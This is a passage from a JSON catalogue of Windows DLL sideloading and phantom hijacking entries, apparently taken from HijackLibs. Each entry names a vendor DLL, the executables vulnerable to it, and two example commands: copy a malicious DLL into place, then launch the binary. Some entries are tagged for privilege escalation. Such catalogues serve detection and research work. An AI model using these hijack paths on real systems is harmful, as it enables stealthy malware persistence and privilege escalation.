        "url": "https://hijacklibs.net/entries/lrwizdll.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious madhcnet32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Multimedia\\\\K-Lite Codec Pack\\\\Filters\\\\madVR\\\\madhcnet32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\K-Lite Codec Pack\\\\Filters\\\\madVR\\\\madHcCtrl.exe\\\"\"\n\n# madhcnet32.dll\n\n**Vendor:** Systemsoftware Mathias Rauen\n\n**Expected Location:** %PROGRAMFILES%\\Multimedia\\K-Lite Codec Pack\\Filters\\madVR\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\K-Lite Codec Pack\\Filters\\madVR\\madHcCtrl.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-madhcnet32.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "madhcnet32.dll — Sideloading hijacking (Systemsoftware Mathias Rauen)",
    "execution": {
      "template": "madhcnet32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-madhcnet32",
    "name": "madhcnet32.dll",
    "namespace": "windows:dllhijack:madhcnet32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/d98677d4cf165a8885dc16e8a8411b36bfe39b10e188c6277253173b3ff73346/relations"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/madhcnet32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious magnification.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\magnification.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\magnify.exe\\\"\"\n\n# magnification.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\magnify.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-magnification.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "magnification.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "magnification.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdout"
    ],
    "id": "windows-dllhijack-magnification",
    "name": "magnification.dll",
    "namespace": "windows:dllhijack:magnification",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/magnification.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious maintenanceui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\maintenanceui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mschedexe.exe\\\"\"\n\n# maintenanceui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mschedexe.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-maintenanceui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "maintenanceui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "maintenanceui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-maintenanceui",
    "name": "maintenanceui.dll",
    "namespace": "windows:dllhijack:maintenanceui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/maintenanceui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mapistub.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mapistub.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\fixmapi.exe\\\"\"\n\n# mapistub.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\fixmapi.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mapistub.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mapistub.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mapistub.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mapistub",
    "name": "mapistub.dll",
    "namespace": "windows:dllhijack:mapistub",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mapistub.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mbaexmlparser.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mbaexmlparser.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mbaeparsertask.exe\\\"\"\n\n# mbaexmlparser.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mbaeparsertask.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-mbaexmlparser.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mbaexmlparser.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mbaexmlparser.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mbaexmlparser",
    "name": "mbaexmlparser.dll",
    "namespace": "windows:dllhijack:mbaexmlparser",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mbaexmlparser.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious mcutil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\McAfee Inc.\\\\McAfee Total Protection 2009\\\\mcutil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"mcoemcpy.exe\\\"\"\n\n# mcutil.dll\n\n**Vendor:** McAfee\n\n**Expected Location:** %PROGRAMFILES%\\McAfee Inc.\\McAfee Total Protection 2009\n\n**Vulnerable Executables:**\n- mcoemcpy.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n\n**Acknowledgement:** Craig Sweeney\n",
    "_source": "windows-dllhijack-mcutil.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mcutil.dll — Sideloading hijacking (McAfee)",
    "execution": {
      "template": "mcutil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "windows-dllhijack-mcutil",
    "name": "mcutil.dll",
    "namespace": "windows:dllhijack:mcutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/3bcb28d19a779b6da0c42c1506cd1908f9bcceeffff45f572677e032551f9a96/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/b0263de0622050091a0fbf06428229e5da291b87926ca29c8ee3b01a2a514e4f/detection"
      },
      {
        "label": "Reference",
        "url": "https://web-assets.esetstatic.com/wls/2018/03/ESET_OceanLotus.pdf"
      },
      {
        "label": "Reference",
        "url": "https://www.huntress.com/blog/advanced-persistent-threat-targeting-vietnamese-human-rights-defenders"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mcutil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mdmdiagnostics.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mdmdiagnostics.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mdmdiagnosticstool.exe\\\"\"\n\n# mdmdiagnostics.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mdmdiagnostics.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mdmdiagnostics.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mdmdiagnostics.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mdmdiagnostics",
    "name": "mdmdiagnostics.dll",
    "namespace": "windows:dllhijack:mdmdiagnostics",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mdmdiagnostics.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mediainfo_i386.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\MediaInfo\\\\mediainfo_i386.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\MediaInfo\\\\MediaInfo.exe\\\"\"\n\n# mediainfo_i386.dll\n\n**Vendor:** MediaInfo\n\n**Expected Location:** %PROGRAMFILES%\\MediaInfo\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\MediaInfo\\MediaInfo.exe (Sideloading)\n\n**Acknowledgement:** Michael Elford\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-mediainfo-i386.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mediainfo_i386.dll — Sideloading hijacking (MediaInfo)",
    "execution": {
      "template": "mediainfo_i386.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mediainfo-i386",
    "name": "mediainfo_i386.dll",
    "namespace": "windows:dllhijack:mediainfo-i386",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/69d9667cfab126f1c473163771511602497e05a908b3dbeaa29d165af879da97"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mediainfo-i386.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mfc140u.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\CheckMAL\\\\AppCheck\\\\mfc140u.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\CheckMAL\\\\AppCheck\\\\AppCheck.exe\\\"\"\n\n# mfc140u.dll\n\n**Vendor:** CheckMAL\n\n**Expected Location:** %PROGRAMFILES%\\CheckMAL\\AppCheck\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\CheckMAL\\AppCheck\\AppCheck.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n\n**Acknowledgement:** Josh Allman\n",
    "_source": "windows-dllhijack-mfc140u.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mfc140u.dll — Sideloading hijacking (CheckMAL)",
    "execution": {
      "template": "mfc140u.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mfc140u",
    "name": "mfc140u.dll",
    "namespace": "windows:dllhijack:mfc140u",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/c4c85e98452094c8bd395b19c2afe283a50cdbb651e51e09d3f7b0dfa35fda65/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mfc140u.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mfc42u.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mfc42u.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\devicepairingwizard.exe\\\"\"\n\n# mfc42u.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\devicepairingwizard.exe (Sideloading)\n- %SYSTEM32%\\dirquota.exe (Sideloading)\n- %SYSTEM32%\\eudcedit.exe (Sideloading)\n- %SYSTEM32%\\filescrn.exe (Sideloading)\n- %SYSTEM32%\\ldp.exe (Sideloading)\n- %SYSTEM32%\\msconfig.exe (Sideloading)\n- %SYSTEM32%\\msinfo32.exe (Sideloading)\n- %SYSTEM32%\\mspaint.exe (Sideloading)\n- %SYSTEM32%\\nlbmgr.exe (Sideloading)\n- %SYSTEM32%\\shrpubw.exe (Sideloading)\n- %SYSTEM32%\\storrept.exe (Sideloading)\n- %SYSTEM32%\\verifiergui.exe (Sideloading)\n- %SYSTEM32%\\wfs.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-mfc42u.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mfc42u.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mfc42u.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mfc42u",
    "name": "mfc42u.dll",
    "namespace": "windows:dllhijack:mfc42u",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mfc42u.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mfcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mfcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mfpmp.exe\\\"\"\n\n# mfcore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mfpmp.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mfcore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mfcore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mfcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mfcore",
    "name": "mfcore.dll",
    "namespace": "windows:dllhijack:mfcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mfcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mfcu100u.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\TechSmith\\\\Camtasia Studio 8\\\\mfcu100u.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\TechSmith\\\\Camtasia Studio 8\\\\CamMenuMaker.exe\\\"\"\n\n# mfcu100u.dll\n\n**Vendor:** Tech Smith\n\n**Expected Location:** %PROGRAMFILES%\\TechSmith\\Camtasia Studio 8\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\TechSmith\\Camtasia Studio 8\\CamMenuMaker.exe (Sideloading)\n\n**Acknowledgement:** Josh Allman\n\n**Acknowledgement:** Dipo R\n",
    "_source": "windows-dllhijack-mfcu100u.md",
    "author": "Josh Allman",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mfcu100u.dll — Sideloading hijacking (Tech Smith)",
    "execution": {
      "template": "mfcu100u.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mfcu100u",
    "name": "mfcu100u.dll",
    "namespace": "windows:dllhijack:mfcu100u",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/73670defa750d0a09470356279494a0c947245229d283c42e7ef0f2b8427b847"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mfcu100u.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mfplat.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mfplat.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mdeserver.exe\\\"\"\n\n# mfplat.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mdeserver.exe (Sideloading)\n- %SYSTEM32%\\mfpmp.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mfplat.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mfplat.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mfplat.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mfplat",
    "name": "mfplat.dll",
    "namespace": "windows:dllhijack:mfplat",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mfplat.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\winrs.exe\\\"\"\n\n# mi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\winrs.exe (Sideloading)\n- %SYSTEM32%\\wsmanhttpconfig.exe (Sideloading)\n- %SYSTEM32%\\wsmprovhost.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mi",
    "name": "mi.dll",
    "namespace": "windows:dllhijack:mi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/39828/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious microsoft.ui.xaml.xamltypeinfo.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\microsoft.ui.xaml.xamltypeinfo.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%LOCALAPPDATA%\\\\microsoft\\\\onedrive\\\\onedrive.exe\\\"\"\n\n# microsoft.ui.xaml.xamltypeinfo.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- %LOCALAPPDATA%\\microsoft\\onedrive\\onedrive.exe (Phantom)\n",
    "_source": "windows-dllhijack-microsoft-ui-xaml-xamltypeinfo.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "microsoft.ui.xaml.xamltypeinfo.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "microsoft.ui.xaml.xamltypeinfo.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-microsoft-ui-xaml-xamltypeinfo",
    "name": "microsoft.ui.xaml.xamltypeinfo.dll",
    "namespace": "windows:dllhijack:microsoft-ui-xaml-xamltypeinfo",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/Octoberfest73/status/1631021071951437827/photo/1"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/microsoft-ui-xaml-xamltypeinfo.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious microsoft.windowsappruntime.bootstrap.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\microsoft.windowsappruntime.bootstrap.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"kwpswnsserver.exe\\\"\"\n\n# microsoft.windowsappruntime.bootstrap.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- kwpswnsserver.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-microsoft-windowsappruntime-bootstrap.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "microsoft.windowsappruntime.bootstrap.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "microsoft.windowsappruntime.bootstrap.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-microsoft-windowsappruntime-bootstrap",
    "name": "microsoft.windowsappruntime.bootstrap.dll",
    "namespace": "windows:dllhijack:microsoft-windowsappruntime-bootstrap",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.acronis.com/en/tru/posts/same-packet-different-magic-mustang-panda-hits-indias-banking-sector-and-korea-geopolitics/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/6cd52ea299e99e3cf4a175b83a35b5a2516ce44a2c3c43b9d7a152753258998c"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/microsoft-windowsappruntime-bootstrap.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious midimap.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\midimap.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\osk.exe\\\"\"\n\n# midimap.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\osk.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-midimap.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "midimap.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "midimap.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-midimap",
    "name": "midimap.dll",
    "namespace": "windows:dllhijack:midimap",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/midimap.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious midlrtmd.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Windows Kits\\\\%VERSION%\\\\bin\\\\%VERSION%\\\\x64\\\\mdmerge.exe\\\\midlrtmd.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"mdmerge.exe\\\"\"\n\n# midlrtmd.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Windows Kits\\%VERSION%\\bin\\%VERSION%\\x64\\mdmerge.exe\n\n**Vulnerable Executables:**\n- mdmerge.exe (Sideloading)\n\n**Acknowledgement:** Rick Gatenby\n",
    "_source": "windows-dllhijack-midlrtmd.md",
    "author": "Rick Gatenby",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "midlrtmd.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "midlrtmd.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-midlrtmd",
    "name": "midlrtmd.dll",
    "namespace": "windows:dllhijack:midlrtmd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.crowdstrike.com/en-us/blog/new-supply-chain-attack-leverages-comm100-chat-installer"
      },
      {
        "label": "Reference",
        "url": "https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_7_hara_nakajima_kawakami_en.pdf"
      },
      {
        "label": "Reference",
        "url": "https://x.com/Cyberteam008/status/1858703453981450712"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/midlrtmd.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mimetools.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Notepad++\\\\plugins\\\\mimetools.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Notepad++\\\\notepad++.exe\\\"\"\n\n# mimetools.dll\n\n**Vendor:** Notepad++\n\n**Expected Location:** %PROGRAMFILES%\\Notepad++\\plugins\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Notepad++\\notepad++.exe (Sideloading)\n",
    "_source": "windows-dllhijack-mimetools.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mimetools.dll — Sideloading hijacking (Notepad++)",
    "execution": {
      "template": "mimetools.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mimetools",
    "name": "mimetools.dll",
    "namespace": "windows:dllhijack:mimetools",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/Cryptolaemus1/status/1770507063816241440"
      },
      {
        "label": "HijackLibs",
